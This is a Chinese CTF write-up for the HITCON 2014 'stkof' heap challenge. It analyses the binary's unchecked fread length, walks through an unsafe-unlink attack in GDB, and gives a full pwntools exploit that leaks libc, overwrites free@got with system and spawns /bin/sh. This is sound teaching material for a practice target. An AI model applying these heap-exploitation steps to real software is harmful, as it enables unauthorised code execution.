HITCON CTF 2014 — stkof · Unsafe Unlink

我们今天看一下这道unlink相关的题目,这道题目相对简单

我们查看完保护之后就使用ida进行静态分析一下

ida静态分析

我们还是先看main函数

复制代码
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v3; // eax
  int v5; // [rsp+Ch] [rbp-74h]
  char nptr[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v7; // [rsp+78h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  alarm(0x78u);
  while ( fgets(nptr, 10, stdin) )
  {
    v3 = atoi(nptr);
    if ( v3 == 2 )
    {
      v5 = sub_4009E8();            //sub_4009E8函数就是edit函数
      goto LABEL_14;
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        v5 = sub_400B07();          //free
        goto LABEL_14;
      }
      if ( v3 == 4 )
      {
        v5 = sub_400BA9();          
        goto LABEL_14;
      }
    }
    else if ( v3 == 1 )
    {
      v5 = sub_400936();           //create函数
      goto LABEL_14;
    }
    v5 = -1;
LABEL_14:
    if ( v5 )
      puts("FAIL");
    else
      puts("OK");
    fflush(stdout);
  }
  return 0;
}

我们这里注意一下:这里是有一个金丝雀保护的也就是v7,虽然这个漏洞用不到,但是还是提醒一下。

这次的题目代码没什么难度,我们直接看漏洞点

复制代码
__int64 sub_4009E8()
{
  int i; // eax
  unsigned int v2; // [rsp+8h] [rbp-88h]
  __int64 n; // [rsp+10h] [rbp-80h]
  char *ptr; // [rsp+18h] [rbp-78h]
  char s[104]; // [rsp+20h] [rbp-70h] BYREF
  unsigned __int64 v6; // [rsp+88h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  v2 = atol(s);
  if ( v2 > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !(&::s)[v2] )
    return 0xFFFFFFFFLL;
  fgets(s, 16, stdin);
  n = atoll(s);
  ptr = (&::s)[v2];
  for ( i = fread(ptr, 1u, n, stdin); i > 0; i = fread(ptr, 1u, n, stdin) )
  {
    ptr += i;
    n -= i;
  }
  if ( n )
    return 0xFFFFFFFFLL;
  else
    return 0;
}

在edit函数中我们发现在低18行,我们fread的输入长度是我们自己规定的,这样一来我们就可以使用堆溢出漏洞来完成这个unlink漏洞的演示了

然后我们注意一个点:

复制代码
__int64 sub_400936()
{
  __int64 size; // [rsp+0h] [rbp-80h]
  char *v2; // [rsp+8h] [rbp-78h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  size = atoll(s);
  v2 = (char *)malloc(size);
  if ( !v2 )
    return 0xFFFFFFFFLL;
  (&::s)[++dword_602100] = v2;
  printf("%d\n", dword_602100);
  return 0;
}

我们看进行申请堆块的函数的14行,我们可以发现这个是前置的加加,也就是说下标为0的堆块我们用不到

动态验证

我们这里直接创建3个堆块,然后对第二个堆块的内容进行修改,这里的144是我们申请的堆块的大小128+16(堆头)

复制代码
(gdb) set {long}($u2+0x00) = 0          # 伪造 fake_chunk 的 prev_size
(gdb) set {long}($u2+0x08) = 0          # 伪造 fake_chunk 的 size
(gdb) set {long}($u2+0x10) = 0x602138   # 伪造 fd (即 ptr - 0x18)
(gdb) set {long}($u2+0x18) = 0x602140   # 伪造 bk (即 ptr - 0x10)

这里的0x602150存储的就是chunk2的地址

这里我们看到s的地址是0x602140,然后之后的符号是db也就是一个字节,我们的程序是64位的,所以chunk2就是0x602140+0x10

复制代码
watch *(long*)0x602150

上面的指令的意思是:死死盯住 0x602150 这个内存地址,只要有任何代码敢修改里面的数据,立刻把程序暂停下来,并向我报告!

第一次命中:

第一次命中(执行 FD->bk = BK**):** Old value 是一串堆地址(原来的 P)。 New value = 6299968,转换成十六进制就是 0x602140(这就是 ptr - 16,你伪造的 BK)。 此时程序停在了 libc.so 的内部。

第二次命中:

Old value 是刚写进去的 0x602140。

New value = 6299960,转换成十六进制就是 0x602138(这就是 ptr - 24,你伪造的 FD)。

大功告成!最终留在 0x602150 里的值,被死死地钉在了 0x602138。

此时我们就差临门一脚就可以完成unlink了

复制代码
(gdb) delete

删除刚才下的 watch 观察点和断点,让程序接下来能畅通无阻地跑下去。

复制代码
(gdb) set $sys = *(long*)0x602088 - 0x36e80 + 0x45390
(gdb) printf "system = %p\n", $sys
  • 0x602088 是程序里 atoi 函数的 GOT 表地址。程序在前面运行菜单时已经用过 atoi 了,所以此时 GOT 表里存的已经是 atoi 在内存中的真实物理地址。

  • *(long*)0x602088:提取出 atoi 的真实地址。

  • - 0x36e80:减去 atoi 在 libc 库里的固定偏移量(这个偏移是你提前查好的),得到的值就是 libc 库在内存中的加载基地址。

  • + 0x45390:加上 system 函数在 libc 里的固定偏移。

  • 结果: 完美算出了此时此刻系统中 system 函数的绝对真实地址,并存入 GDB 变量 $sys。

    (gdb) set {long}0x602140 = 0x602088 # s[0] 指向 atoi@GOT
    (gdb) set {long}0x602148 = 0x602018 # s[1] 指向 free@GOT
    (gdb) set {long}0x602150 = 0x6021a0 # s[2] 指向 .bss 段的一块空白区域
    (gdb) set {long}0x602158 = 0 # s[3] 清空

如果是写 Python 脚本,你会往 s[2] (0x602138) 里连着写入上面这些地址。在这里你直接用 GDB 赋值了。

你把程序原本用来记堆块的"账本",强行换成了系统关键函数(atoi 和 free)的控制面板。

复制代码
(gdb) set {long}0x602018 = $sys

这是最致命的一击。

0x602018 是 free 函数的 GOT 表地址。

你把刚才算出来的 system 函数地址($sys)直接塞进了 free 的 GOT 表里。

从这一秒开始,这个程序里再也没有 free了,只要程序调用 free(xxx),底层实际执行的都会是 system(xxx)!

复制代码
(gdb) set {long}0x6021a0 = 0x0068732f6e69622f
  • 刚才在第 3 步,你让 s[2] 指向了 0x6021a0 这个空白内存。
  • 现在你往 0x6021a0 里面写了一串十六进制数 0x0068732f6e69622f。
  • 把这串数字按"小端序(Little-Endian)"转成 ASCII 字符,刚好就是:"/bin/sh\x00"!
  • 结果就是:现在 **s[2] 这个指针,指向了字符串 "/bin/sh"**。

之后我们进行释放一下就完成了验证

此时我们的动态验证就完成了,接下来就是写脚本

exp

复制代码
from pwn import *

BIN_DIR = os.path.dirname(os.path.abspath(__file__))
EXE     = os.path.join(BIN_DIR, 'stkof')
LIBC    = os.path.join(BIN_DIR, 'libc-2.23.so')
LD      = os.path.join(BIN_DIR, 'ld-2.23.so')

context.log_level = 'info'
context.arch = 'amd64'   # 必须显式设置:flat() 默认按 32 位打包,会把 payload 写歪
elf  = ELF(EXE,  checksec=False)
libc = ELF(LIBC, checksec=False)

# ---------------------------------------------------------------- 关键偏移表
S_BASE   = 0x602140          # s[] 指针数组基址 (.bss)
FREE_GOT = 0x602018          # free@got
ATOI_GOT = 0x602088          # atoi@got
PUTS_PLT = 0x400760          # puts@plt
STR_ADDR = 0x6021a0          # s[12] 槽的位置,仅借来放 "/bin/sh",不参与指针解引用


def start():
    # 沙箱里 stkof 的 interp 是 ./ld-2.23.so,必须显式用它加载,
    # 否则会去啃系统 glibc 并报 GLIBC_PRIVATE。
    return process(['./ld-2.23.so', '--library-path', '.', './stkof'], cwd=BIN_DIR)


def add(size):
    p.sendline(b'1')
    p.sendline(str(size).encode())
    p.recvuntil(b'OK\n', timeout=3)


def edit(idx, size, data):
    p.sendline(b'2')
    p.sendline(str(idx).encode())
    p.sendline(str(size).encode())
    p.send(data)
    p.recvuntil(b'OK\n', timeout=3)


def free(idx, consume=True):
    p.sendline(b'3')
    p.sendline(str(idx).encode())
    if consume:
        p.recvuntil(b'OK\n', timeout=3)


def exploit():
    global p

    # ---- 0. 预热 stdout 缓冲区 -------------------------------------------
    # 第一次 printf 会触发 stdout 的 malloc(1024),插在堆块之间打断连续性,
    # 导致 chunk2/chunk3 不再相邻。先打一次无关命令把缓冲区准备好。
    p.sendline(b'9')
    p.recvuntil(b'FAIL\n', timeout=3)

    # ---- 1. 布局 --------------------------------------------------------
    add(0x100)   # 1 -> U1
    add(0x30)    # 2 -> U2  伪造 chunk 的载体(要求 size 恰为 0x40,使 U2 落在后续 prev_size 之前)
    add(0x80)    # 3 -> U3  victim

    # ---- 2. 伪造 chunk + 污染 victim 的 prev_size / PREV_INUSE ----------
    # unlink 宏在 glibc 2.23 的取址方式是 P->fd = *(P+0x10), P->bk = *(P+0x18),
    # 而 p 由 chunk3 - prev_size 反推,prev_size=0x30 使 p 正好落在 U2。
    # 于是校验读到的 *(FD+0x18) 与 *(BK+0x10) 都指向 s[2] 槽,其值就是 U2 == p。
    S2 = S_BASE + 2 * 8          # &s[2] = 0x602150
    fake  = p64(0) + p64(0)      # U2+0x00: 假 chunk 的 prev_size / size
                                 #    size=0 落在 smallbin 区间,跳过 fd_nextsize 分支
    fake += p64(S2 - 0x18)       # U2+0x10: 假 chunk 的 fd
    fake += p64(S2 - 0x10)       # U2+0x18: 假 chunk 的 bk
    fake += b'\x00' * 0x10
    fake += p64(0x30) + p64(0x90)  # chunk3 的 prev_size=0x30,size 清掉 PREV_INUSE(原为 0x91)
    edit(2, len(fake), fake)

    log.info('fake chunk 就绪,触发 unlink')
    free(3)                      # -> s[2] === 0x602138

    # ---- 3. 把 s[] 数组改造成「指针表」 ---------------------------------
    # 现在 edit(2) 写的是 0x602138,即 &s[0]-8。
    # ▸ 0x602138 是 s[] 前的填充,跳过 8 字节后正好落在 s[0]。
    edit(2, 0x28, p64(0) + p64(ATOI_GOT) + p64(FREE_GOT) + p64(STR_ADDR) + p64(0))
    #   s[0] = atoi@got   (泄露用,free 后会被清零)
    #   s[1] = free@got   (改写 GOT 用)
    #   s[2] = STR_ADDR   (放 "/bin/sh")
    #   s[3] = 0

    # ---- 4. 泄露 libc ---------------------------------------------------
    edit(1, 8, p64(PUTS_PLT))    # free@got <- puts@plt
    free(0, consume=False)       # 实际执行 puts(atoi@got) ------ 打印 atoi 的运行时地址
    leak = p.recvn(6, timeout=3) # 地址 6 字节(第 7 字节为 \x00,puts 到此为止)
    p.recvuntil(b'OK\n', timeout=3)

    atoi_addr = u64(leak.ljust(8, b'\x00'))
    libc_base = atoi_addr - libc.symbols['atoi']
    system    = libc_base + libc.symbols['system']
    assert libc_base & 0xFFF == 0, '泄露解析失败: %#x' % atoi_addr
    log.success('atoi      = %#x', atoi_addr)
    log.success('libc_base = %#x', libc_base)
    log.success('system    = %#x', system)

    # ---- 5. GOT 换成 system,放飞 "/bin/sh" -----------------------------
    edit(1, 8, p64(system))      # free@got <- system
    edit(2, 8, b'/bin/sh\x00')   # STR_ADDR <- "/bin/sh"
    free(2)                      # -> system("/bin/sh")

    # ---- 6. 验证 shell --------------------------------------------------
    p.sendline(b'echo PWNED_UNLINK_UNSAFE')
    time.sleep(0.4)
    out = p.recv(timeout=3).decode(errors='replace')
    p.sendline(b'id')
    time.sleep(0.4)
    out += p.recv(timeout=3).decode(errors='replace')
    p.sendline(b'echo ---SHELL_OK---')
    time.sleep(0.4)
    out += p.recv(timeout=3).decode(errors='replace')

    print(out)
    assert 'PWNED_UNLINK_UNSAFE' in out, '未拿到回显'
    log.success('shell 到手')
    return out


if __name__ == '__main__':
    p = start()
    try:
        exploit()
        p.sendline(b'exit')
    except Exception as e:
        log.failure('利用失败: %r', e)
        raise
    finally:
        p.close()

至此本篇博客就结束了,感谢观看

相关推荐
2401_868534781 小时前
简要说明PON下行和上传数据方式
运维·服务器·网络
OnlineProxy3 小时前
企业级代理服务器架构:合规性、NDA 诚信与灰色 P2P 网络风险防范
网络·架构·p2p
Seraphina3612 小时前
SQLI-labs(一)黑盒全流程
sql·安全·web安全
FPGA小徐12 小时前
PA1 基础设施(2)深度解析:NEMU 中 ITRACE、MTRACE、FTRACE、IRINGBUF、ETRACE、DIFFTEST 全解析
java·服务器·网络
雷焰财经12 小时前
AI开始学会“越界”:当智能体拥有行动能力,人工智能的竞争已经进入安全深水区
人工智能·安全
sogw-三叶草️14 小时前
House of Orange
网络安全·pwn·堆·二进制安全
life码农17 小时前
Nginx 配置允许指定 IP 段访问:从 192.168.1.1 到 192.168.1.124 及 /24 详解
网络·tcp/ip·nginx
javaDocker17 小时前
16.5 小时,我打掉了两只「SSL 握手失败」的怪
网络·网络协议·ssl